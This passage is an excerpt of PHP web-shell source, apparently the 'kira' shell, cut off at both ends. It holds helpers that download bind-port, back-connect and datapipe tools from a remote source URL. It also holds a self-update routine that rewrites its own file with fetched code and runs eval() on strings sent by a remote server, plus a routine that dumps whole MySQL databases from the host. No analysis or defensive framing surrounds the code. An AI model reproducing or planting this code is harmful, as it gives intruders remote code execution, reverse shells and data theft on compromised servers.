FALSE;}}if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}if (!function_exists("parse_perms")){function parse_perms($mode){ if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);}}if (!function_exists("parsesort")){function parsesort($sort){ $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second);}}if (!function_exists("view_perms_color")){function view_perms_color($o){ if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";}}}if (!function_exists("k1r4getsource")){function k1r4getsource($fn){ global $k1r4_sourcesurl; $array = array( "k1r4_bindport.pl" => "k1r4_bindport_pl.txt", "k1r4_bindport.c" => "k1r4_bindport_c.txt", "k1r4_backconn.pl" => "k1r4_backconn_pl.txt", "k1r4_backconn.c" => "k1r4_backconn_c.txt", "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt", "k1r4_datapipe.c" => "k1r4_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($k1r4_sourcesurl.$name);} else {return FALSE;}}}if (!function_exists("k1r4_getupdate")){function k1r4_getupdate($update = TRUE){ $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; $data = @file_get_contents($url); if (!$data) {return "Can't connect to update-server!";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} if ($data{0} == "\x99" and $data{1} == "\x03") { $string = explode("\x01",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return "Can't fetch update!";} else { $fp = fopen(__FILE__,"w"); if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";} else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} } } else {return "New version are available: ".$string[1];} } elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} else {return "Error in protocol: segmentation failed! (".$data.") ";} }}}if (!function_exists("mysql_dump")){function mysql_dump($set){ global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = "# Dumped by kira.SQL v. ".$shver."# Home page: http://google.com## Host settings:# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."# Date: ".date("d.m.Y H:i:s")."# DB: \"".$db."\"#---------------------------------------------------------"; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query